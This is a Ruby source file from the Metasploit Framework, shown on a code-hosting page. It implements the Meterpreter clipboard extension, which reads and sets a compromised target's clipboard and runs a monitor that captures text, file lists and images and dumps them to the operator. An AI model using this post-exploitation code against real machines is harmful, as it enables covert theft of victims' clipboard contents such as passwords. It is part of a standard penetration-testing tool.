CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb
Views: 11798
1
# -*- coding: binary -*-
2
3
module Rex
4
module Post
5
module Meterpreter
6
module Extensions
7
module Extapi
8
module Clipboard
9
10
###
11
#
12
# This meterpreter extension contains extended API functions for
13
# querying and managing desktop windows.
14
#
15
###
16
class Clipboard
17
18
def initialize(client)
19
@client = client
20
end
21
22
#
23
# Get the target clipboard data in whichever format we can
24
# (if it's supported).
25
#
26
def get_data(download = false)
27
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA)
28
29
if download
30
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD, true)
31
end
32
33
response = client.send_request(request)
34
35
return parse_dump(response)
36
end
37
38
#
39
# Set the target clipboard data to a text value
40
#
41
def set_text(text)
42
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA)
43
44
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, text)
45
46
client.send_request(request)
47
48
return true
49
end
50
51
#
52
# Start the clipboard monitor if it hasn't been started.
53
#
54
def monitor_start(opts)
55
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START)
56
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
57
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
58
return client.send_request(request)
59
end
60
61
#
62
# Pause the clipboard monitor if it's running.
63
#
64
def monitor_pause
65
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE)
66
return client.send_request(request)
67
end
68
69
#
70
# Dump the contents of the clipboard monitor to the local machine.
71
#
72
def monitor_dump(opts)
73
pull_img = opts[:include_images]
74
purge = opts[:purge]
75
purge = true if purge.nil?
76
77
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP)
78
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
79
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
80
81
response = client.send_request(request)
82
83
return parse_dump(response)
84
end
85
86
#
87
# Resume the clipboard monitor if it has been paused.
88
#
89
def monitor_resume
90
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME)
91
return client.send_request(request)
92
end
93
94
#
95
# Purge the contents of the clipboard capture without downloading.
96
#
97
def monitor_purge
98
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE)
99
return client.send_request(request)
100
end
101
102
#
103
# Stop the clipboard monitor and dump optionally it's contents.
104
#
105
def monitor_stop(opts)
106
dump = opts[:dump]
107
pull_img = opts[:include_images]
108
109
request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP)
110
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
111
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
112
113
response = client.send_request(request)
114
unless dump
115
return response
116
end
117
118
return parse_dump(response)
119
end
120
121
attr_accessor :client
122
123
private
124
125
def parse_dump(response)
126
result = {}
127
128
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
129
ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
130
result[ts] ||= {}
131
132
# fat chance of someone adding two different bits of text to the
133
# clipboard at the same time
134
result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
135
end
136
137
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES) do |fs|
138
ts = fs.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
139
result[ts] ||= {}
140
result[ts]['Files'] ||= []
141
fs.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
142
result[ts]['Files'] << {
143
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
144
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
145
}
146
end
147
end
148
149
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
150
if jpg
151
ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
152
result[ts] ||= {}
153
154
# same story with images, there's no way more than one can come
155
# through on the same timestamp with differences
156
result[ts]['Image'] = {
157
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
158
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
159
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
160
}
161
end
162
end
163
164
return result
165
end
166
167
end
168
169
end; end; end; end; end; end
170
171